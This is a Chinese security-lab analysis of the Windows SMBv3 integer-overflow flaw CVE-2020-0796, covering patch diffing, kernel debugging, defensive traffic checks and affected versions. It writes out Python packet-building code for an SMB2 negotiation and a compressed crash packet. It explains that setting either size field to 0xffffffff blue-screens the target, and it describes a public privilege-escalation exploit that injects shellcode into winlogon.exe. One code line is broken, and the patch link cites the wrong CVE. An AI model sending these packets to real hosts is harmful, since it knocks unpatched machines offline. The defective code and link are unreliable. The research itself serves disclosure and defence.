一、漏洞基本信息
1.SMBv3介绍
服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上。它还提供了经过身份验证的进程间通信机制。SMB的大多数用法涉及运行Microsoft Windows的计算机,在引入Active Directory之前被称为“ Microsoft Windows网络” 。相应的Windows服务是用于服务器组件的LAN Manager服务器和用于客户端组件的LAN Manager工作站。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。除了在SMB3中添加的AES-128 CCM加密外,该版本还支持AES-128 GCM加密,并使用SHA-512哈希实现预认证完整性检查。当使用SMB 2.x和更高版本连接到客户端时,SMB 3.1.1还使安全协商成为必需。
2.漏洞描述
CVE-2020-0796,微软SMBv3 Client/Server远程代码执行漏洞。该漏洞存在于srv2.sys文件中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
3.漏洞文件
漏洞存在于srv2.sys文件中
4.漏洞函数
该漏洞涉及到了多个函数:
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2GetHonorCompressionAlgOrder
Smb2SelectCompressionAlgorithm
Smb2ValidateCompressionCapabilities
二、漏洞深入分析
1. 基础数据结构
主要看一下SMB2 COMPRESSION_TRANSFORM_HEADER结构:
首先,说明了结构使用的场景:客户端或服务器在发送压缩消息时使用SMB2 COMPRESSION_TRANSFORM_HEADER。此可选标头仅对SMB 3.1.1 Dialect有效。
对以上各字段做简要说明:
字段 | 含义 |
---|---|
ProtocolId (4 bytes) | 协议标识符。该值必须设置为0x424D53FC,也以网络顺序表示为0xFC,“ S”,“ M”和“ B”。 |
OriginalCompressedSegmentSize (4 bytes) | 原始压缩数据的大小(以字节为单位)。 |
CompressionAlgorithm (2 bytes) | 此字段务必包含CompressionAlgorithms字段中指定的用于压缩SMB2消息的算法之一,“ NONE”除外。 |
Flags (2 bytes) | 必须为2个特定值之一 |
Offset/Length (4 bytes) | 如果在Flags字段中设置了SMB2_COMPRESSION_FLAG_CHAINED,则该字段必须解释为长度,压缩有效payload的长度(以字节为单位);否则,该字段必须解释为偏移。从此结构的末尾到压缩数据段开始的偏移量(以字节为单位)。 |
CompressionAlgorithms字段中指定的算法:
Flags字段可选的固定值:
2. 分析环境搭建及配置
Windows版本:1909,未安装安全更新补丁(KB4551762)
配置内核调试(目标主机):管理员权限启动powershell或cmd,执行如下命令:
bcdedit /set dbgtransport kdnet.dllbcdedit /dbgsettings NET HOSTIP:调试机IP PORT:50000bcdedit /debug on
结果如下:
调试机windbg配置:
3. 静态分析
3.1 补丁对比
首先进行安全更新前后的补丁对比:
根据已掌握信息,重点查看Svr2DecompressData函数:
可以很明显看到添加了一个RtlULongAdd函数的调用,根据以往SMB的漏洞,新增该函数通常是进行某些数据运算然后进行边界检查。
3.2 IDA反编译查看源代码
srv2.sys文件拖入IDA,先观察函数实现:
1. SMB首先调用srv2!Srv2ReceiveHandler函数接收数据包,并根据ProtocolId设置对应的处理函数:
如果判断数据包中为压缩的数据(ProtocolID = 0xfc4d5342),则调用处置函数--Srv2DecompressMessageAsync函数。
2. srv2!Srv2DecompressMessageAsync函数会继续调用 Srv2DecompressData函数:
Srv2DecompressMessageAsync函数并不是实际处理压缩数据的函数,而是继续调用了Srv2DecompressData函数,跟进查看Srv2DecompressData函数:
在Srv2DecompressData函数中可以看到数据处理的部分:在进行buffer分配时,会调用SrvNetAllocateBuffer进行分配。但是在调用时,并未对OriginalCompressedSegmentSize和Offset/Length的长度进行任何检查,对二者相加的和也未进行安全检查。此处就存在一个整数溢出,如果二者的和为一个特别大的值,会超出内存存储范围,值会变成一个很小的值。
3. srv2!Srv2DecompressData函数调用SmbCompressionDecompress函数,进而调用nt!RtlDecompressBufferXpressLz函数进行实际的数据解压过程。
nt!RtlDecompressBufferXpressLz函数位于ntoskrnl.exe中,该函数实际进行的处理就是:
由上面的代码可以看到在进行数据解压缩时,首先进行smb compress协议数据包的解析,获取其中包含的需要解压缩的数据的大小,并和之前通过SrvNetAllocateBuffer分配的buffer的OriginalCompressedSegmentSize值进行比较,确认其大小不大于OriginalCompressedSegmentSize,然后进行内存拷贝。若v21大于OriginalCompressedSegmentSize,则返回0xC0000242错误。因为在2中进行内存分配时没有做长度检查,所以如果传入一个很大的OriginalCompressedSegmentSize值触发整数溢出,此时v21就可以设置一个极大值,但可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出。
4. 动态分析
4.1 SMB2通信流程
SMB2的通信流程如下图所示:
SMB2协议定义的内容:
Protocol negotiation (SMB2 NEGOTIATE) //协议协商
User authentication (SMB2 SESSION_SETUP, SMB2 LOGOFF) //用户认证
Share access (SMB2 TREE_CONNECT, SMB2 TREE_DISCONNECT) //共享访问
File access (SMB2 CREATE, SMB2 CLOSE, SMB2 READ, SMB2 WRITE, SMB2 LOCK, SMB2 IOCTL, SMB2 QUERY_INFO, SMB2 SET_INFO, SMB2 FLUSH, SMB2 CANCEL) //文件访问
Directory access (SMB2 QUERY_DIRECTORY, SMB2 CHANGE_NOTIFY) //目录访问
Volume access (SMB2 QUERY_INFO, SMB2 SET_INFO) //卷访问
Cache coherency (SMB2 OPLOCK_BREAK) //缓存一致性
Simple messaging (SMB2 ECHO) //消息传递
SMB2.1新增:
Protocol Negotiation (SMB2 NEGOTIATE)
Share Access (SMB2 TREE_CONNECT)
File Access (SMB2 CREATE, SMB2 WRITE)
Cache Coherency (SMB2 OPLOCK_BREAK)
Hash Retrieval (SMB2 IOCTL) //哈希检索
SMB3.x新增:
Protocol Negotiation and secure dialect validation (SMB2 NEGOTIATE, SMB2 IOCTL) //dialect验证
Share Access (SMB2 TREE_CONNECT)
File Access (SMB2 CREATE, SMB2 READ, SMB2 WRITE)
Hash Retrieval (SMB2 IOCTL)
Encryption (SMB2 TRANSFORM_HEADER)
SMB3.1.1新增(1903引入):
Compression (SMB2 COMPRESSION_TRANSFORM_HEADER) //支持压缩数据
4.2 连接建立过程
首先是NEGOTIATE过程,client端发送一个NEGOTIATE请求,server端回复一个NEGOTIATE响应。
参考SMB2通信pcap和官方协议文档构造数据包
# NetBios Session Service
Negotiate_pkt=b'\x00' # Message Type
Negotiate_pkt+=b'\x00\x00\xe6' # Length
# SMB2 Header
Negotiate_pkt+=b'\xfe\x53\x4d\x42' # ProtocolId
Negotiate_pkt+=b'\x40\x00' # StructureSize
Negotiate_pkt+=b'\x00\x00' # CreditCharge
Negotiate_pkt+=b'\x00\x00' # ChannelSequence
Negotiate_pkt+=b'\x00\x00' # Reserved
Negotiate_pkt+=b'\x00\x00' # Command
Negotiate_pkt+=b'\x01\x00' # CreditRequest
Negotiate_pkt+=b'\x00\x00\x00\x00' # Flags
Negotiate_pkt+=b'\x00\x00\x00\x00' # NextCommand(Chain Offset)
Negotiate_pkt+=b'\x01\x00\x00\x00\x00\x00\x00\x00' # MessageId
Negotiate_pkt+=b'\xff\xfe\x00\x00' # ProcessId
Negotiate_pkt+=b'\x00\x00\x00\x00' # TreeId
Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00' # SessionId
Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # Signature
# Negotiate Protocol Request
Negotiate_pkt+=b'\x24\x00' # StructureSize
Negotiate_pkt+=b'\x05\x00' # DialectCount
Negotiate_pkt+=b'\x01\x00' # SecurityMode
Negotiate_pkt+=b'\x00\x00' # Reserved
Negotiate_pkt+=b'\x40\x00\x00\x00' # Capabilities
Negotiate_pkt+=b'\xa2\x8e\xf8\x84' #ClientGuid
Negotiate_pkt+=b'\xe6\x65\xea\x11'
Negotiate_pkt+=b'\xb4\xc6\x00\x1c'
Negotiate_pkt+=b'\x42\xbf\x6a\x9c'
Negotiate_pkt+=b'\x70\x00\x00\x00' # NegotiateContextOffset
Negotiate_pkt+=b'\x03\x00' # NegotiateContextCount
Negotiate_pkt+=b'\x00\x00' # Reserved2
Negotiate_pkt+=b'\x02\x02' # Dialect: SMB 2.0.2
Negotiate_pkt+=b'\x10\x02' # Dialect: SMB 2.1
Negotiate_pkt+=b'\x00\x03' # Dialect: SMB 3.0
Negotiate_pkt+=b'\x02\x03' # Dialect: SMB 3.0.2
Negotiate_pkt+=b'\x11\x03' # Dialect: SMB 3.1.1
Negotiate_pkt+=b'\x00\x00'
#Negotiate Context: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
Negotiate_pkt+=b'\x01\x00' # Type
Negotiate_pkt+=b'\x26\x00' # DataLength
Negotiate_pkt+=b'\x00\x00\x00\x00' # Reserved
Negotiate_pkt+=b'\x01\x00' # HashAlgorithmCount
Negotiate_pkt+=b'\x20\x00' # SaltLength
Negotiate_pkt+=b'\x01\x00' # HashAlgorithm
Negotiate_pkt+=b'\xcf\xa4\x93\xd0' # Salt
Negotiate_pkt+=b'\xf3\xd1\x41\x8c'
Negotiate_pkt+=b'\x1a\xcb\x36\x4d'
Negotiate_pkt+=b'\x9f\x77\x27\x6d'
Negotiate_pkt+=b'\x72\x80\x2b\xf4'
Negotiate_pkt+=b'\x71\x94\x64\x99'
Negotiate_pkt+=b'\xb3\x91\x4b\x7f'
Negotiate_pkt+=b'\xf8\x92\x47\xe2'
Negotiate_pkt+=b'\x00\x00'
#Negotiate Context SMB2_COMPRESSION_CAPABILITIES
Negotiate_pkt+=b'\x03\x00' # Type
Negotiate_pkt+=b'\x0e\x00' # DataLength
Negotiate_pkt+=b'\x00\x00\x00\x00' # Reserved
Negotiate_pkt+=b'\x01\x00' # CompressionAlgorithmCount
Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00
Negotiate_pkt+=b'\x02\x00' # CompressionAlgorithmId:LZ77
(备注:我的测试机抓去的流量包中有4个NegotiateContext,为了保证PoC的通用性,删除掉其中两个与我们关系不大的NegotiateContext,所以最后使用2个NegotiateContext。注意,删除后需要修改前面的数据长度。)
根据官方文档中构造SMB2 COMPRESSION_TRANSFORM_HEADER:
根据前面的数据结构,前面几个字段正常构造,因为Flags分为两种情况:FLAG_NONE和FLAG_CHAINED,为简单起见后面我们选用FLAG_NONE。而对于Offset/Length字段,当选用FLAG_NONE时该处四字节代表offset,offset为从offset所占4字节结束到后面compressed data起始的位置偏移量;当选用FLAG_CHAINED时该处四字节代表length,length为后面compressed payload的大小。
根据COMPRESSION_TRANSFORM_HEADER的结构,初始构造数据包如下:
# NetBios
Smb2_crash_pkt=b'\x00' # Message Type
Smb2_crash_pkt+=b'\x00\x00\x20' # Length
# SMB2 Compression Transform Header
Smb2_crash_pkt+=b'\xfc\x53\x4d\x42' # ProtocolId
Smb2_crash_pkt+=b'\x10\x00\x00\x00' # OriginalCompressedSegmentSize
Smb2_crash_pkt+=b'\x02\x00' # CompressionAlgorithm LZ77
Smb2_crash_pkt+=b'\x00\x00' # Flags
Smb2_crash_pkt+=b'\x01\x00\x00\x00' # Offset
# Compressed SMB3 Data
#因为我们此时不知道算法内部的数据处理过程,所以先随意给压缩数据进行调试
Smb2_crash_pkt+=b'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'
4.3 WinDbg动态调试
1. 首先在srv2!Srv2DecompressData函数下断点bmsrv2!Srv2DecompressData` ,并发送前面构造的数据包:
断点命中,系统停在srv2!Srv2DecompressData函数。
2. 单步跟踪,来到srv2!Srv2DecompressData + 0x68地址处:
在mov rax, qword ptr [rsp+30]指令处,查看rsp+30中的内容,发现为构造的压缩数据头部。
3. 继续跟踪,来到调用SrvnetAllocateBuffer指令处:
前面IDA反汇编知道,该函数主要用于buffer内存分配。rcx寄存器中存放了该函数参数。此处经过静态分析和多次调试发现,rcx中存放的值恰好为 OriginalCompressedSegmentSize与Offset之和。结合补丁添加的对OriginalCompressedSegmentSize+Offset的检查,可以构想漏洞是由该和检查不足导致。
4. 跟进,分析SmbCompressionDecompress函数:
该函数中,rcx为第一个参数,指定了使用的压缩算法的类型,rdx为第二个参数,指定了压缩数据存放的位置,读取rdx中的值可以看到构造的压缩数据。如果要对该函数进行深入分析,需要了解压缩算法的具体实现,但目前对LZ77算法的信息不是十分完善,暂未进行重写。
至此,漏洞原理已分析清楚,只要构造OriginalCompressedSegmentSize与Offset之和能产生整数溢出就有可能触发漏洞。
5. crash的PoC复现
修改前面PoC代码中OriginalCompressedSegmentSize与Offset的任意一个字段值为0xffffffff,同时另外一个字段值非0,发送数据包进行验证:
成功触发漏洞,造成目标主机蓝屏,PoC测试成功。
6. 本地提权的EXP复现
2020年3月30日,互联网中出现公开的本地权限提取利用EXP,泄漏的EXP为exe文件,直接在目标主机中进行运行即可实现本地权限提取,运行结果:
而查看该LPE EXP的关键源代码:
该EXP主要是利用了往’winlogon.exe’中写入shellcode的方式来实现权限提升的目的,而shellcode的位置和指针通过利用SMB漏洞进行部署。
7. 更新后的srv2.sys文件
对更新后的srv2.sys文件进行IDA反编译可以发现,主要是对Srv2DecompressData函数进行了更新,添加了一些数据长度的检查,与补丁对比信息吻合。
8. 流量分析
使用两个不同的PoC造成的蓝屏的流量截图如下:
第一种,设置Offset/Length字段为ffffffff:
第二种,设置OriginalCompressedSegmentSize字段为ffffffff:
9. 漏洞防御策略
熟悉了漏洞原理后,可以轻松在流量测进行防御,只需判断两个字段的值的和是否大于0xffffffff触发整数溢出即可。
利用此漏洞,远程未经身份验证的攻击者通过使用SMBv3连接到易受攻击的Windows计算机,或通过使易受攻击的Windows系统启动与SMBv3服务器的客户端连接,就可以在易受攻击的系统上以SYSTEM特权执行任意代码。
目前互联网中已出现公开的EXP,微软官方已经发布了针对此漏洞的安全补丁。经千里目实验室安全研究员分析,此漏洞危害较大,且漏洞信息已快速传播,建议用户尽快安装安全更新补丁。
三、影响范围
目前受影响的Microsoft版本:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
四、修复建议
该漏洞微软目前已发布针对此漏洞的安全更新补丁,千里目实验室建议广大用户及时确认所用Windows版本,并下载对应版本安全补丁进行更新:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618
时间轴
2020/03/11 深信服千里目实验室监测到互联网中关于CVE-2020-0796的信息
2020/03/11 深信服千里目实验室发布微软3月份补丁日重点漏洞通告,涉及该漏洞
2020/03/12 微软正式更新CVE-2020-0796漏洞补丁
2020/03/13深信服千里目实验室发布漏洞分析文章以及深信服解决方案
2020/03/14 互联网中出现蓝屏PoC,千里目实验室第一时间进行了复现分析,深信服解决方案可以轻松防御
2020/03/30 互联网中出现本地提权利用EXP
2020/03/31 深信服千里目实验室进行EXP分析,并发布漏洞深入分析文章
参考链接
[1].https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
[4].https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
*本文作者:深信服千里目安全实验室,转载请注明来自FreeBuf.COM